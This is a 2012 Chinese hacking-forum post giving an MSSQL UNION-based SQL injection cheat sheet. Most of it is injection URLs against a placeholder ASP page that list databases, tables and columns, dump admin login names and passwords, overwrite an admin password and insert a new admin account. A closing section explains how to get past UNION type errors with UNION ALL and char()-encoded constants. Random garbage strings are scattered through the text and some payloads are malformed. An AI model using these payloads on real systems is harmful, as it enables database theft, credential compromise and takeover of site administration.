找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1937|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:6 ?" f1 v+ @! T/ K4 G
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--+ f' ^. i9 @. I  Y. F
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
; Q1 S/ x5 i  P爆下一个库:
# u5 k+ y  P" G# _+ shttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--! @: e; S. [4 X# u

2 x' k8 Q6 z6 v% [; n爆表:
( f! _* b3 b& B/ H3 X! Dhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--8 w2 }& g5 h4 l0 P1 P

5 J7 l7 i. a0 @2 w/ v+ @0 @9 ISELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.3 p' C! V/ z1 c) ^, l
; i  l5 I; ]) A9 N( R1 |
爆下一个表$ W) b0 U% v. e. k  X. q+ X
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
2 z% l& N6 M8 d" Z1 I( W* ^& L8 M9 `  z7 o8 q8 K
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
( t1 S' H  o# B) R) Z* Y* u$ H& L! f8 _' m/ K, x5 c! P$ Y! l$ t
7 L( \! m) i; Q# P! Q4 i

) N$ j1 A6 @% q" R# [3 W3 q3 p/ S# q' E爆字段:
. Y9 h. p" |6 o, P1 v: d* A$ thttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--% n: w8 ?" x3 G2 p% r

: k% `1 J0 v1 Y; {7 [爆下一个字段
2 v- _, Z6 [0 n4 shttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
) I, h2 L; B8 j; b2 c( S. ~* r8 n" o. z2 P
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
: F+ j; E: r8 i8 F
2 e0 g+ [# `* c  L* A- v8 u. o3 w  X( j4 |+ I7 J
爆字段里的内容
, V+ M# W9 L5 C1 z  N2 Ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
  u, y4 ~) j- n9 \* ]
; T! r: ~! f7 R2 m, nhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--1 u6 W" B7 z7 y3 R

9 x5 q9 f( i& u5 zhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--- K( I7 C' Z; V; _4 Q' F' o
  o4 ?0 [7 C# X
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--5 y9 P* N. m! X* c# k: J7 s

) ~( `/ N/ H* R5 Z+ k, c更新字段里的内容# }9 `  ?# j9 K/ ^' s# X
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--+ i9 C# _" ]3 x4 D% ]9 X4 _* R
- F1 x. ?: l0 g" g- Z5 i
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--; x; J; j* ]* z8 u2 d, J
+ X% Z. @7 U# q+ O3 t

+ Y: z+ {7 e7 u* j2 S" W% A( |8 p9 u: w! ^0 W% r
        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
6 g$ P/ E; q6 c    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
8 F6 N  _7 I9 M% f    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。2 M: L3 z5 {" b* p$ g) z) t, P! p
    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。6 c6 U* c5 v2 [, i; }# }4 @8 u6 y
9 o  z- G+ y- p2 C; A
突了了大部份限制的语句$ O1 d0 ]3 s( z6 G9 c
and 1=2 union all select char(49),char(50),null,null;--
! ^+ Q5 \1 u8 t" V1 b3 U, n; U3 H' D* E5 Z, S3 r4 ~

# a& e: _$ ~' f1 Q) Y, P8 Vnull也可以正常执行,不过没有回显,不好判断回显的列数。! j5 I0 Z9 p$ f4 r
一般union遇到问题都是有text或者ntext字段,image的很少遇到
' ^6 m2 e" i% O0 w" u" x' ~  U/ R4 S2 ?
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟* z! p  P, s* e& {

2 |' t8 i# J: U$ m, y! d( U9 K7 T6 }$ i6 |) d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表